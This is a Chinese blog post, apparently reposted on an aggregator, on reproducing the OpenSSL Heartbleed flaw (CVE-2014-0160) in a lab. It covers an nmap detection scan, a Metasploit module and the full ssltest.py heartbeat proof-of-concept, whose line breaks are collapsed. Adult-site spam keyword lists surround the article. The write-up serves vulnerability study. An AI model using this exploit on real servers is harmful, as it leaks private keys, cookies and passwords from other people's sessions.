日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

openssl(CVE-2014-0160)心脏出血漏洞复现

發(fā)布時(shí)間:2023/12/14 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 openssl(CVE-2014-0160)心脏出血漏洞复现 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄

#漏洞簡(jiǎn)介

#漏洞原理

#漏洞檢測(cè)

#漏洞利用


#漏洞簡(jiǎn)介

心臟出血是openssl庫(kù)中的一個(gè)內(nèi)存漏洞,攻擊者利用這個(gè)漏洞可以服務(wù)到目標(biāo)進(jìn)程內(nèi)存信息,如其他人的cookie等敏感信息。

Heartbleed Bug 是流行的 OpenSSL 加密軟件庫(kù)中的一個(gè)嚴(yán)重漏洞。 此弱點(diǎn)允許在正常情況下竊取受用于保護(hù) Internet 的 SSL/TLS 加密保護(hù)的信息。 SSL/TLS 為 Web、電子郵件、即時(shí)消息 (IM) 和一些虛擬專(zhuān)用網(wǎng)絡(luò) (VPN) 等應(yīng)用程序提供 Internet 上的通信安全和隱私。

Heartbleed 漏洞允許 Internet 上的任何人讀取受 OpenSSL 軟件易受攻擊版本保護(hù)的系統(tǒng)內(nèi)存。 這損害了用于識(shí)別服務(wù)提供商和加密流量、用戶(hù)名和密碼以及實(shí)際內(nèi)容的密鑰。 這允許攻擊者竊聽(tīng)通信,直接從服務(wù)和用戶(hù)竊取數(shù)據(jù),并冒充服務(wù)和用戶(hù)。

#漏洞原理

心臟出血漏洞主要通過(guò)攻擊這模擬向服務(wù)器端發(fā)送自己編寫(xiě)的heartbeat心跳數(shù)據(jù)包,主要是heartbeatmessage的長(zhǎng)度與payload的length進(jìn)行匹配,若payload長(zhǎng)度大于heartbeatmessage的length,則會(huì)在服務(wù)器返回的response響應(yīng)包中產(chǎn)生數(shù)據(jù)溢出,造成有數(shù)據(jù)泄露。

#一些帶有潛在易受攻擊的 OpenSSL 版本的操作系統(tǒng)發(fā)行版:

  • Debian Wheezy(穩(wěn)定),OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS,OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5、OpenSSL 1.0.1e-15
  • Fedora 18,OpenSSL 1.0.1e-4
  • OpenBSD 5.3(OpenSSL 1.0.1c 2012 年 5 月 10 日)和 5.4(OpenSSL 1.0.1c 2012 年 5 月 10 日)
  • FreeBSD 10.0 - OpenSSL 1.0.1e 2013 年 2 月 11 日
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)

具有不易受攻擊版本的操作系統(tǒng)分發(fā):

  • Debian Squeeze (oldstable),OpenSSL 0.9.8o-4squeeze14
  • SUSE Linux 企業(yè)服務(wù)器
  • FreeBSD 8.4 - OpenSSL 0.9.8y 2013 年 2 月 5 日
  • FreeBSD 9.2 - OpenSSL 0.9.8y 2013 年 2 月 5 日
  • FreeBSD 10.0p1 - OpenSSL 1.0.1g (At 8 Apr 18:27:46 2014 UTC)
  • FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC)

#漏洞檢測(cè)

環(huán)境啟動(dòng)之后

打開(kāi)瀏覽器進(jìn)行訪問(wèn)

如果檢測(cè)一下是否為heartbleed漏洞可以通過(guò)通過(guò)nmap命令使用script ssl-heartbleed.nse板塊進(jìn)行掃描

nmap -sV -p 8443 -script ssl-heartbleed.nse 192.168.217.134

#漏洞利用

可以通過(guò)msf實(shí)現(xiàn)對(duì)該漏洞的利用。通過(guò)search openssl查看相關(guān)漏洞模塊

使用該輔助模塊,然后通過(guò)options設(shè)置好相關(guān)參數(shù),設(shè)置完之后就運(yùn)行

也可以通過(guò)環(huán)境自帶的exp進(jìn)行利用

使用python命令實(shí)現(xiàn)對(duì)其的利用

python ssltest.py 192.168.217.134

?exp里的默認(rèn)端口是443,我這里需要進(jìn)行修改,不然就會(huì)顯示拒絕連接

修改為8443之后就成功了

?完整exp

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code.import sys import struct import socket import time import select import binascii import re from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')hb = h2bin(''' 18 03 02 00 03 01 40 00 ''')def hexdump(s: bytes):for b in range(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % c for c in lin)pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)print(' %04x: %-48s %s' % (b, hxdat, pdat))print("")def recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = b''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print('Unexpected EOF receiving record header - server closed connection')return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print('Unexpected EOF receiving record payload - server closed connection')return None, None, Noneprint(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print('No heartbeat response received, server likely not vulnerable')return Falseif typ == 24:print('Received heartbeat response:')hexdump(pay)if len(pay) > 3:print('WARNING: server returned more data than it should - server is vulnerable!')else:print('Server processed malformed heartbeat, but did not return any extra data.')return Trueif typ == 21:print('Received alert:')hexdump(pay)print('Server returned error, likely not vulnerable')return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print('Connecting...')sys.stdout.flush()s.connect((args[0], opts.port))print('Sending Client Hello...')sys.stdout.flush()s.send(hello)print('Waiting for Server Hello...')sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print('Server closed connection without sending Server Hello.')return# Look for server hello done message.if typ == 22 and pay[0] == 0x0E:breakprint('Sending heartbeat request...')sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

總結(jié)

以上是生活随笔為你收集整理的openssl(CVE-2014-0160)心脏出血漏洞复现的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 美女黄色录像 | 伊人天堂av | 国内精品久久久久久久久 | 水蜜桃亚洲精品 | 日韩理论在线观看 | 大乳村妇的性需求 | 少妇性l交大片免费观看 | 青青草视频| 国产精品女主播 | 国产大奶在线观看 | 亚洲激情视频一区 | 99re热在线视频 | 国产绳艺sm调教室论坛 | 国产精品一区二区欧美 | 亚洲精华国产精华精华液网站 | 成人小说亚洲一区二区三区 | 久久久麻豆 | 日韩一级中文字幕 | 91爱啪| 日韩精品一区中文字幕 | 日韩中文字幕有码 | 久久午夜福利电影 | 操你妹影院 | jzzijzzij亚洲成熟少妇在线观看 久久久精品人妻一区二区三区 | 日韩一区在线观看视频 | 日韩免费在线观看 | 91中文在线 | 久婷婷 | 黑人巨大精品欧美一区二区 | 欧美日韩在线观看一区 | 亚洲24p| 夜夜狠 | 黄色av片三级三级三级免费看 | 免费日韩在线视频 | 久久精品国内 | 超碰个人在线 | 国产第1页| 级毛片内射视频 | 老熟妇仑乱一区二区av | 精品免费视频 | caoporn视频在线观看 | av电影网站在线观看 | 右手影院亚洲欧美 | 91国内揄拍国内精品对白 | 香蕉视频亚洲一级 | 欧美在线一区视频 | 欧美另类高清 | 青娱乐国产| 精品亚洲一区二区三区四区五区高 | 爽妇网国产精品 | av手机在线播放 | 午夜天堂在线 | 免费网站观看www在线观看 | 来吧亚洲综合网 | 手机在线观看av网站 | 男人操女人免费网站 | 一级久久久久 | 日本护士╳╳╳hd少妇 | 麻豆传谋在线观看免费mv | 国产精品美女www爽爽爽视频 | 国精品一区 | 成人精品影视 | 日出白浆视频 | 日韩色图在线观看 | 国内精品久久久久 | 欧美一级性视频 | 在线免费观看h片 | 日本在线看 | 久草福利在线视频 | 日本少妇性生活 | 久久99久久99精品免观看软件 | 日韩精品久久久久久久酒店 | 69精品无码成人久久久久久 | 欧美综合一区二区三区 | 干日本少妇| 在线三区 | 亚洲网站免费看 | 久久亚洲AV无码专区成人国产 | 亚洲精品2 | 欧美一区二区在线看 | 亚洲综合五月 | 日韩免费视频一区二区视频在线观看 | 日韩超碰 | 四虎最新网址在线观看 | 欧美一区二区三区在线观看视频 | 天天艹天天 | 久久久久久久 | 欧美一页 | 91色蝌蚪| 91蝌蚪| 亚洲在线观看av | 久久久精品视频在线观看 | 日韩高清国产一区在线 | 精品国产精品网麻豆系列 | 亚洲久爱 | 日韩欧美在线视频播放 | 三上悠亚在线观看一区二区 | 艳妇臀荡乳欲伦交换在线播放 | 手机在线观看av网站 |